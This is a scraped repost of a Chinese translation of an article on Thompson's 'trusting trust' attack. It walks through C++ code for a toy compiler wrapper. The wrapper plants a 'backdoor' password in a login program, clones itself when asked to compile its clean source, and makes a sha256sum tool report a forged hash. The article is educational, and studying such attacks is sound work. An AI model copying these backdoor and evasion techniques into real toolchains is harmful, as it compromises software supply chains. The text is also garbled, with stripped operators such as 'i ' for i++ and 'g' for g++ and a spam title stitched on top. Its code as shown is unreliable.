又大又粗又猛免费视频久久_国产理论在线播放_久久男人av资源网站免费软件_99国产精品无码

如何構(gòu)建一個(gè)邪惡的編譯器(如何構(gòu)建一個(gè)邪惡的編譯器程序)

作者 | Akila Welihinda

譯者 | 彎月

出品 | CSDN(ID:CSDNnews)

你知道有一種編譯器后門攻擊是防不勝防的嗎?在本文中,我將向你展示如何通過(guò)不到 100 行代碼實(shí)現(xiàn)這樣的攻擊。早在 1984 年,Unix 操作系統(tǒng)的創(chuàng)始人 Ken Thompson 就曾在圖靈獎(jiǎng)獲獎(jiǎng)演講中討論了這種攻擊。時(shí)至今日,這種攻擊仍然是一個(gè)很大的威脅,而且目前還沒(méi)有能夠完全免疫的解決方案。XcodeGhost 是 2015 年發(fā)現(xiàn)的一種病毒,它就使用了 Thompson 介紹的這種后門攻擊技術(shù)。我將在本文中使用 C 演示 Thompson 攻擊,當(dāng)然你也可以使用其他編程語(yǔ)言實(shí)現(xiàn)這種攻擊。相信讀完本文后,你會(huì)懷疑自己的編譯器是否值得信賴。

可能你對(duì)我的這種說(shuō)法深表懷疑,而且還有一連串的疑問(wèn)。我想通過(guò)以下對(duì)話,解釋一下Thompson 攻擊的要點(diǎn)。

我:如何確保你的編譯器老老實(shí)實(shí)地編譯了你的代碼,不會(huì)注入任何后門?

你:編譯器的源代碼通常是開源的,所以如果編譯器故意留后門,肯定會(huì)有人發(fā)現(xiàn)。

我:但你信任的編譯器的源代碼最終都需要使用另一個(gè)編譯器 B 進(jìn)行編譯。你怎么能確定 B 不會(huì)在編譯期間偷偷潛入你的編譯器?

你:這么說(shuō),我還需要檢查 B 的源代碼。但即使檢查 B 的源代碼會(huì)引發(fā)同一個(gè)問(wèn)題,因?yàn)槲疫€需要信任編譯 B 的其他編譯器。也許我可以反匯編已經(jīng)編譯好的可執(zhí)行文件,看看有沒(méi)有后門。

我:但反匯編程序也是一個(gè)需要編譯的程序,所以反向編譯程序也有可能有后門。受到感染的反匯編程序可能會(huì)隱藏后門。

你:這種情況實(shí)際發(fā)生的概率是多少?首先,攻擊者需要構(gòu)建編譯器,然后用它來(lái)編譯我的反匯編程序。

我:Dennis Ritchie 在創(chuàng)建了 C 語(yǔ)言后,與 Ken Thompson 聯(lián)手創(chuàng)建了 Unix(用 C 編寫)。因此,如果你使用的是 Unix,那么整個(gè)操作系統(tǒng)和命令行工具鏈都很容易受到 Thompson 攻擊。

你:構(gòu)建如此邪惡的編譯器應(yīng)該非常困難,所以這種攻擊不太可能發(fā)生吧。

我:實(shí)際上,這很容易實(shí)現(xiàn)。下面,我就用不到 100 行代碼向你展示如何實(shí)現(xiàn)一個(gè)邪惡的編譯器。

如何構(gòu)建一個(gè)邪惡的編譯器(如何構(gòu)建一個(gè)邪惡的編譯器程序)

演示

你可以克隆這個(gè)代碼庫(kù)(https://github.com/awelm/evil-compiler),并按照以下步驟試試看 Thompson 攻擊的實(shí)際效果:

  1. 首先,驗(yàn)證程序 Login.cpp 只接受密碼“test123”;

  2. 然后,使用邪惡的編譯器編譯登錄程序:./Compiler Login.cpp -o Login;

  3. 使用./Login 運(yùn)行登錄程序,然后輸入密碼“backdoor”。你會(huì)發(fā)現(xiàn)自己能夠成功登錄。

謹(jǐn)慎的用戶可能會(huì)在使用惡意編譯器之前,閱讀一下源代碼并重新編譯。然而,即便是按照如下操作重新編譯,依然能夠利用密碼“backdoor”成功登錄。

  1. 驗(yàn)證 Compiler.cpp 是否干凈(不必?fù)?dān)心,這只是一個(gè) 10 行代碼的 g 包裝程序);

  2. 使用 ./Compiler Compiler.cpp -o cleanCompiler,重新編譯源代碼;

  3. 使用干凈的編程器,通過(guò)命令./cleanCompiler Login.cpp -o Login 編譯登錄程序;

  4. 使用 ./Login 運(yùn)行登錄程序,然后驗(yàn)證密碼“backdoor”是否有效。

下面,我們來(lái)探索如何創(chuàng)建這個(gè)邪惡的編譯器,并隱藏它的不良行為。

如何構(gòu)建一個(gè)邪惡的編譯器(如何構(gòu)建一個(gè)邪惡的編譯器程序)

創(chuàng)建一個(gè)干凈的編譯器

我們無(wú)需從頭開始編寫編譯器來(lái)演示 Thompson 攻擊,這個(gè)邪惡的“編譯器”只是 g 的包裝程序,如下所示:

// Compiler.cpp
#include <string>#include <cstdlib>
using namespace std;
int main(int argc, char *argv[]) { string allArgs = ""; for(int i=1; i<argc; i ) allArgs = " " string(argv[i]); string shellCommand = "g " allArgs; system(shellCommand.c_str);}

我們可以通過(guò)運(yùn)行 g Compiler.cpp -o Compiler 生成編譯器的二進(jìn)制文件,這樣就能得到一個(gè)名為“Compiler”的可執(zhí)行文件。下面是我們的示例登錄程序,如果輸入正確的密碼“test123”,你就能夠以 root 身份登錄程序。稍后,我們將演示如何向該程序注入后門,讓它也接受密碼“backdoor”。

// Login.cpp
#include <iostream>
using namespace std;
int main { cout << "Enter password:" << endl; string enteredPassword; cin >> enteredPassword; if(enteredPassword == "test123") cout << "Successfully logged in as root" << endl; else cout << "Wrong password, try again." << endl;}

我們可以使用正常的編譯器來(lái)編譯和運(yùn)行我們的登錄程序:./Compiler Login.cpp -o Login && ./Login。

請(qǐng)注意,我們的編譯器可以使用 ./Compiler Compiler.cpp -o newCompiler 編譯自己的源代碼,因?yàn)槲覀兊?C 編譯器本身是用 C 編寫的。因此我們的編譯器是自舉的,也就是說(shuō)新版的編譯器是使用以前的版本編譯的。這是一種很常見的做法,Python、C 和 Java 都有自舉編譯器。自舉對(duì)于我們的第三步隱藏邪惡的編譯器非常重要。

如何構(gòu)建一個(gè)邪惡的編譯器(如何構(gòu)建一個(gè)邪惡的編譯器程序)

注入后門

下面,我們向編譯器的登錄程序注入一個(gè)后門,允許任何人使用密碼“backdoor”登錄。為了實(shí)現(xiàn)這一點(diǎn),我們的編譯器需要在編譯 Login.cpp 時(shí)執(zhí)行以下操作:

  1. 將 Login.cpp 復(fù)制到臨時(shí)文件 LoginWithBackdoor.cpp;

  2. 修改 LoginWithBackdoor.cpp,接受密碼“backdoor”,具體的方法是查找并修改所有檢查密碼的 if 條件;

  3. 編譯 LoginWithBackdoor.cpp;

  4. 刪除文件 LoginWithBackdoor.cpp。

下面是實(shí)現(xiàn)上述四個(gè)步驟的源代碼。

// EvilCompiler.cpp
#include <string>#include <cstdlib>#include <regex>#include <fstream>#include <sstream>#include <iostream>
using namespace std;
// This searches the file and replaces all occurrences of regexPattern with `newText`void findAndReplace(string fileName, string regexPattern, string newText) { ifstream fileInputStream(fileName); stringstream fileContents; fileContents << fileInputStream.rdbuf; string modifiedSource = regex_replace(fileContents.str, regex(regexPattern), newText); ofstream fileOutputStream(fileName); fileOutputStream << modifiedSource; fileOutputStream.close;}
void compileLoginWithBackdoor(string allArgs) { system("cat Login.cpp > LoginWithBackdoor.cpp"); findAndReplace( "LoginWithBackdoor.cpp", "enteredPassword == "test123"", "enteredPassword == "test123" || enteredPassword == "backdoor"" ); string modifiedCommand = "g " regex_replace(allArgs, regex("Login.cpp"), "LoginWithBackdoor.cpp"); system(modifiedCommand.c_str); remove("LoginWithBackdoor.cpp");}
int main(int argc, char *argv[]) { string allArgs = ""; for(int i=1; i<argc; i ) allArgs = " " string(argv[i]); string shellCommand = "g " allArgs; string fileName = string(argv[1]); if(fileName == "Login.cpp") compileLoginWithBackdoor(allArgs); else system(shellCommand.c_str);}

即便登錄程序的源代碼只接受密碼“test123”,但經(jīng)過(guò)這個(gè)邪惡的編譯器編譯后,就可以接受密碼“backdoor”了。

> g EvilCompiler.cpp -o EvilCompiler> ./EvilCompiler Login.cpp -o Login> ./LoginEnter password:backdoorSuccessfully logged in as root

你可能已經(jīng)注意到了,我們只需重命名 Login.cpp,這個(gè)后門攻擊就可以被輕松破解。但是,邪惡的編譯器可以根據(jù)文件內(nèi)容來(lái)注入后門。

沒(méi)有人會(huì)真正使用這個(gè)邪惡的編譯器,因?yàn)槿魏稳碎喿x一下源代碼,就會(huì)發(fā)現(xiàn)它的詭計(jì),并舉報(bào)它。

如何構(gòu)建一個(gè)邪惡的編譯器(如何構(gòu)建一個(gè)邪惡的編譯器程序)

隱藏后門注入

我們可以修改一下這個(gè)邪惡的編輯器的 EvilCompiler.cpp,讓它在編譯干凈的 Compiler.cpp 時(shí)克隆自己。然后,我們將 EvilCompiler 二進(jìn)制文件(當(dāng)然會(huì)重命名)作為自舉編譯器的第一個(gè)版本分發(fā)出去,并對(duì)外宣布 Compiler.cpp 是相應(yīng)的源代碼。之后,任何使用該編譯器的人都很容易受到我們的攻擊,即使他們?cè)谑褂弥膀?yàn)證了我們的編譯器是干凈的。即便他們下載干凈的源代碼 Compiler.cpp,但只要使用 EvilCompiler 編譯,生成的可執(zhí)行文件就仍然是 EvilCompiler 的副本。下圖概述了這個(gè)邪惡的編輯器以及隱藏其后門注入的全過(guò)程。

如何構(gòu)建一個(gè)邪惡的編譯器(如何構(gòu)建一個(gè)邪惡的編譯器程序)

如下是邪惡的編譯器克隆自己的代碼。

// EvilCompiler.cpp
...
void cloneMyselfInsteadOfCompiling(int argc, char* argv[]) { string myName = string(argv[0]); string cloneName = "a.out"; for(int i=0; i<argc; i ) if(string(argv[i]) == "-o" && i < argc - 1) { cloneName = argv[i 1]; break; } string cloneCmd = "cp " myName " " cloneName; system(cloneCmd.c_str);}
int main(int argc, char *argv[]) { ... if(fileName == "Compiler.cpp") cloneMyselfInsteadOfCompiling(argc, argv); else if(fileName == "Login.cpp") compileLoginWithBackdoor(allArgs); else system(shellCommand.c_str);}

源代碼 Compiler.cpp 和 Login.cpp 都是干凈的,但編譯后的 Login 二進(jìn)制文件被注入了后門,即便使用干凈的源代碼重新編譯也擺脫不了。

> g EvilCompiler.cpp -o FirstCompilerRelease> ./FirstCompilerRelease Compiler.cpp -o cleanCompiler> ./cleanCompiler Login.cpp -o Login> ./LoginEnter password:backdoorSuccessfully logged in as root>

如上所示,驗(yàn)證編譯器或登錄程序的源代碼并不能保護(hù)用戶,因?yàn)榈筋^來(lái)他們還是需要依賴現(xiàn)有的編譯器可執(zhí)行文件。(當(dāng)然,他們也可以自己編寫編譯器,但一般沒(méi)人會(huì)這么做。)但是,謹(jǐn)慎的用戶可能會(huì)交叉驗(yàn)證 Login 可執(zhí)行文件的哈希值,然后發(fā)現(xiàn)問(wèn)題。下面,我們來(lái)進(jìn)一步修改這個(gè)邪惡的編譯器,在哈希命令行工具也添加一個(gè)后門,以進(jìn)一步掩蓋它的蹤跡。

如何構(gòu)建一個(gè)邪惡的編譯器(如何構(gòu)建一個(gè)邪惡的編譯器程序)

避免進(jìn)一步檢測(cè)

最常用的驗(yàn)證程序完整性的技術(shù)是,計(jì)算SHA-256并確保與受信任實(shí)體報(bào)告的預(yù)期值相匹配。但請(qǐng)記住,我們用來(lái)計(jì)算 SHA-256 的程序可能也有后門,可以向用戶顯示他們希望看到的結(jié)果。換句話說(shuō),我們的哈希工具有可能注入了一個(gè)后門,用于隱藏其他可執(zhí)行文件中的后門??赡苣銜?huì)覺(jué)得這個(gè)說(shuō)法有點(diǎn)牽強(qiáng),但不要忘記 gcc(最流行的 C 編譯器)和 sha256 都是使用 gcc 編譯的。所以 gcc 完全可以向其他程序注入后門,然后在 sha256 中注入一個(gè)后門以掩蓋其蹤跡。為了演示這種行為,我們來(lái)修改一下這個(gè)邪惡的編譯器,將后門注入到 sha256sum 工具中,這樣它就會(huì)為我們的 Login 程序返回正確的值。當(dāng)然,我們必須承認(rèn)在現(xiàn)實(shí)世界中實(shí)現(xiàn)這種后門的難度會(huì)非常大,因?yàn)榈卿?span id="cejqp8k" class="candidate-entity-word" data-gid="8665747">二進(jìn)制文件的哈希值可能會(huì)隨著版本升級(jí)發(fā)生變化,所以我們不能硬編碼這個(gè)哈希值。

下面是一個(gè)干凈的 sha256sum,它調(diào)用了現(xiàn)有的命令行實(shí)現(xiàn):

// sha256sum.cpp
#include <string>
using namespace std;
int main(int argc, char* argv[]) { if(argc >= 2) { string fileName = argv[1]; string computeHashCmd = "sha256sum " fileName; system(computeHashCmd.c_str); }}

下面,我們來(lái)修改這個(gè)邪惡的編譯器,向 sha256sum 注入一個(gè)后門。

// EvilCompiler.cpp
...
void compileSha256WithBackdoor(string allArgs) { system("cat sha256sum.cpp > sha256sumWithBackdoor.cpp"); findAndReplace( "sha256sumWithBackdoor.cpp", "string computeHashCmd .*;", "string computeHashCmd = fileName == "Login" ? "echo 'badab8e6b6d73ecaf8e2b44bdffd36a1987af1995097573415ba7d16455e9237 Login'" : "sha256sum " fileName; " ); string modifiedCommand = "g " regex_replace(allArgs, regex("sha256sum.cpp"), "sha256sumWithBackdoor.cpp"); system(modifiedCommand.c_str); remove("sha256sumWithBackdoor.cpp");}
...
int main(int argc, char *argv[]) {
...
if(fileName == "Compiler.cpp") cloneMyselfInsteadOfCompiling(argc, argv); else if(fileName == "Login.cpp") compileLoginWithBackdoor(allArgs); else if(fileName == "sha256sum.cpp") compileSha256WithBackdoor(allArgs); else system(shellCommand.c_str);}

如此一來(lái),即便用戶想檢查受感染的登錄可執(zhí)行文件的 SHA-256,只要使用上述版本的哈希工具,那么得到的檢查結(jié)果也是假的??纯聪旅妫鶕?jù)該工具的報(bào)告結(jié)果,兩個(gè)登錄二進(jìn)制文件(第一個(gè)是干凈的,第二個(gè)已被感染)的 SHA-256 值是相匹配的。

> g Login.cpp -o Login # Build a truly clean Login binary> sha256sum Login90047d934442a725e54ef7ffa5c3d9291f34d8a30a40a6c0503b43a10607e3f9 Login> rm Login> ./Compiler Login.cpp -o Login # Build a compromised Login binary> ./Compiler sha256sum.cpp -o sha256sum> ./sha256sum Login90047d934442a725e54ef7ffa5c3d9291f34d8a30a40a6c0503b43a10607e3f9 Login> ./LoginEnter password:backdoorSuccessfully logged in as root>

我們可以使用相同的技巧來(lái)隱藏反匯編程序,或任何其他驗(yàn)證工具。

如何構(gòu)建一個(gè)邪惡的編譯器(如何構(gòu)建一個(gè)邪惡的編譯器程序)

總結(jié)

Thompson 在獲獎(jiǎng)感言中發(fā)表的演講非常精彩,他只用了幾分鐘,就向觀眾展示了一種非常真實(shí)的可能性,他在自己構(gòu)建的軟件中注入了一個(gè)檢測(cè)不到的后門。Thompson 的演講包含兩個(gè)要點(diǎn):

只要不是自己親手編寫的代碼,都不能相信。再多的源代碼級(jí)驗(yàn)證或?qū)彶槎紵o(wú)法保護(hù)你避免使用不受信任的代碼。

這種不信賴關(guān)系可以套用到所有傳遞依賴項(xiàng)、編譯器、操作系統(tǒng)或在 CPU 上執(zhí)行的任何其他程序。Thompson 攻擊表明,即使我們使用完全干凈的源代碼,親自編譯程序、操作系統(tǒng)以及工具鏈,我們也無(wú)法完全信任該程序。只有親自編寫編譯器以及更底層的代碼,才能保證百分百的安全性。然而,即便你做到了這一點(diǎn),唯一信任你的人也只有你自己。

越是底層的程序,就越難以檢測(cè)到這些漏洞(后門注入)。

使用反匯編程序或真正的 sha256sum 工具很容易檢測(cè)到本文介紹的后門注入。這個(gè)邪惡的 C 編譯器相對(duì)容易檢測(cè),因?yàn)樗鼪](méi)有被廣泛使用,因此無(wú)法通過(guò)感染驗(yàn)證工具來(lái)隱藏自己的錯(cuò)誤行為。不幸的是,如果這個(gè)邪惡的編譯器被廣泛使用,或者攻擊的目標(biāo)是編譯器的下一層,那么這個(gè) Thompson 攻擊就很難檢測(cè)。想象一下,如果是負(fù)責(zé)將匯編指令編譯成機(jī)器代碼的匯編器,我們?cè)撊绾螜z測(cè)其中的后門注入。此外,攻擊者還可以創(chuàng)建一個(gè)惡意鏈接器,在將不同的目標(biāo)文件及其符號(hào)編織在一起時(shí)注入后門。檢測(cè)惡意匯編器或鏈接器的難度非常大。最糟糕的是,一個(gè)惡意匯編器/鏈接器有可能影響多個(gè)編譯器,因?yàn)椴煌木幾g器很可能都是使用同一個(gè)匯編器或連接器編譯的。

看到這里,你可能會(huì)覺(jué)得萬(wàn)分驚訝,而且迫切地想知道是否可以采取任何措施來(lái)保護(hù)自己。遺憾的是,我們并沒(méi)有一個(gè)可以提供全面保護(hù)的解決方案,但我們有一些相對(duì)不錯(cuò)的對(duì)策。當(dāng)前,最有效的防御方法是 David Wheeler 于 2009 年引入的多樣化雙重編譯(Diverse Double-Compiling,DDC)。簡(jiǎn)單來(lái)說(shuō),DDC 就是使用不同編譯器來(lái)測(cè)試你選用的編譯器的完整性。為了通過(guò)這個(gè)測(cè)試,攻擊者必須事先修改所有備選編譯器,并注入后門,這個(gè)工作量非常大。雖然 DDC 是一個(gè)很好的解決方案,但它有兩個(gè)缺點(diǎn)。首先,DDC 要求所有備選編譯器都能生成可重現(xiàn)的構(gòu)建結(jié)果,這意味著每個(gè)編譯器必須針對(duì)相同的源代碼,生成完全相同的可執(zhí)行文件??芍噩F(xiàn)的構(gòu)建并不常見,因?yàn)槟J(rèn)情況下編譯器會(huì)為可執(zhí)行文件分配唯一的 ID,而且還包含時(shí)間戳等信息。第二個(gè)缺點(diǎn)是,對(duì)于只有幾個(gè)編譯器的語(yǔ)言,DDC 的效果不太好。尤其是,如果編程語(yǔ)言只有一個(gè)編譯器,比如 Rust,則根本無(wú)法使用 DDC 來(lái)驗(yàn)證程序??傊?,DDC 不是靈丹妙藥,Thompson 攻擊至今仍是一個(gè)公開的難題。

最后,我還想問(wèn)一句:你還敢相信你的編譯器嗎?

原文鏈接:

https://www.awelm.com/posts/evil-compiler/?continueFlag=0c2f362fd425fbeef707eadd88e1a6bd

如何構(gòu)建一個(gè)邪惡的編譯器(如何構(gòu)建一個(gè)邪惡的編譯器程序)

END

成就一億技術(shù)人

如何構(gòu)建一個(gè)邪惡的編譯器(如何構(gòu)建一個(gè)邪惡的編譯器程序)

相關(guān)新聞

聯(lián)系我們
聯(lián)系我們
在線咨詢
分享本頁(yè)
返回頂部